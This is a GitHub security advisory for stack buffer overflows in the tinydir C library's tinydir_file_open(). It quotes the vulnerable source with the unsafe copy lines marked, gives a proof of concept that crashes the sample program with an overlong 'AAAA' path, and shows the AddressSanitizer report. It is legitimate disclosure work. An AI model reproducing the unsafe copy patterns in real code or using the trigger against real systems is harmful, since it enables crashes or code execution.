Skip to content

Buffer overflow vulnerabilities in tinydir

High
cxong published GHSA-jf5r-wgf4-qhxf Dec 3, 2023

Package

tinydir

Affected versions

<= 1.2.5 (latest)

Patched versions

1.2.6

Description

Summary

I spotted some buffer overflow vulnerabilities at the following locations in the tinydir source code:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L675-L680
https://github.com/cxong/tinydir/blob/master/tinydir.h#L706
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

Details

Buffer overflows in the tinydir_file_open() function, see marked lines below:

/* Open a single file given its path */
_TINYDIR_FUNC
int tinydir_file_open(tinydir_file *file, const _tinydir_char_t *path)
{
	tinydir_dir dir;
	int result = 0;
	int found = 0;
	_tinydir_char_t dir_name_buf[_TINYDIR_PATH_MAX];
	_tinydir_char_t file_name_buf[_TINYDIR_FILENAME_MAX];
	_tinydir_char_t *dir_name;
	_tinydir_char_t *base_name;
#if (defined _MSC_VER || defined __MINGW32__)
	_tinydir_char_t drive_buf[_TINYDIR_PATH_MAX];
	_tinydir_char_t ext_buf[_TINYDIR_FILENAME_MAX];
#endif

	if (file == NULL || path == NULL || _tinydir_strlen(path) == 0)
	{
		errno = EINVAL;
		return -1;
	}
	if (_tinydir_strlen(path) + _TINYDIR_PATH_EXTRA >= _TINYDIR_PATH_MAX)
	{
		errno = ENAMETOOLONG;
		return -1;
	}

	/* Get the parent path */
#if (defined _MSC_VER || defined __MINGW32__)
#if ((defined _MSC_VER) && (_MSC_VER >= 1400))
	errno = _tsplitpath_s(
		path,
		drive_buf, _TINYDIR_DRIVE_MAX,
		dir_name_buf, _TINYDIR_FILENAME_MAX,
		file_name_buf, _TINYDIR_FILENAME_MAX,
		ext_buf, _TINYDIR_FILENAME_MAX);
#else
	_tsplitpath(
		path,
		drive_buf,
		dir_name_buf,
		file_name_buf,
		ext_buf); // VULN: potential buffer overflow due to insecure splitpath api (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/splitpath-wsplitpath?view=msvc-170)
#endif

	if (errno)
	{
		return -1;
	}

/* _splitpath_s not work fine with only filename and widechar support */
#ifdef _UNICODE
	if (drive_buf[0] == L'\xFEFE')
		drive_buf[0] = '\0';
	if (dir_name_buf[0] == L'\xFEFE')
		dir_name_buf[0] = '\0';
#endif

	/* Emulate the behavior of dirname by returning "." for dir name if it's
	empty */
	if (drive_buf[0] == '\0' && dir_name_buf[0] == '\0')
	{
		_tinydir_strcpy(dir_name_buf, TINYDIR_STRING("."));
	}
	/* Concatenate the drive letter and dir name to form full dir name */
	_tinydir_strcat(drive_buf, dir_name_buf);
	dir_name = drive_buf;
	/* Concatenate the file name and extension to form base name */
	_tinydir_strcat(file_name_buf, ext_buf); // VULN: since sizeof(file_name_buf) + sizeof(ext_buf) is larger than sizeof(file_name_buf), we have a potential stack buffer overflow
	base_name = file_name_buf;
#else
	_tinydir_strcpy(dir_name_buf, path);
	dir_name = dirname(dir_name_buf);
	_tinydir_strcpy(file_name_buf, path); // VULN: since sizeof(file_name_buf) is smaller than the maximum path length, we have a potential stack buffer overflow
	base_name = basename(file_name_buf);
#endif

	/* Special case: if the path is a root dir, open the parent dir as the file */
#if (defined _MSC_VER || defined __MINGW32__)
	if (_tinydir_strlen(base_name) == 0)
#else
	if ((_tinydir_strcmp(base_name, TINYDIR_STRING("/"))) == 0)
#endif
	{
		memset(file, 0, sizeof * file);
		file->is_dir = 1;
		file->is_reg = 0;
		_tinydir_strcpy(file->path, dir_name);
		file->extension = file->path + _tinydir_strlen(file->path);
		return 0;
	}

	/* Open the parent directory */
	if (tinydir_open(&dir, dir_name) == -1)
	{
		return -1;
	}

	/* Read through the parent directory and look for the file */
	while (dir.has_next)
	{
		if (tinydir_readfile(&dir, file) == -1)
		{
			result = -1;
			goto bail;
		}
		if (_tinydir_strcmp(file->name, base_name) == 0)
		{
			/* File found */
			found = 1;
			break;
		}
		tinydir_next(&dir);
	}
	if (!found)
	{
		result = -1;
		errno = ENOENT;
	}

bail:
	tinydir_close(&dir);
	return result;
}

PoC

Step-by-step instructions to replicate the third vulnerability that's present at this location:
https://github.com/cxong/tinydir/blob/master/tinydir.h#L711

$ git clone https://github.com/cxong/tinydir
$ cd tinydir/samples/
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Extension: 
Is dir? yes
Is regular file? no
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
=================================================================
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
    #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
    #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
    #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
    #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):
    [48, 4184) 'dir' (line 642)
    [4448, 4704) 'file_name_buf' (line 646)
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
Shadow bytes around the buggy address:
  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2533==ABORTING

The other two vulnerabilities are Windows-specific. It should be possible to replicate them by crafting long paths in a similar way.

Impact

If the input above crosses a security boundary, the impact of the buffer overflow vulnerabilities could range from denial of service to arbitrary code execution.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CVE ID

CVE-2023-49287

Credits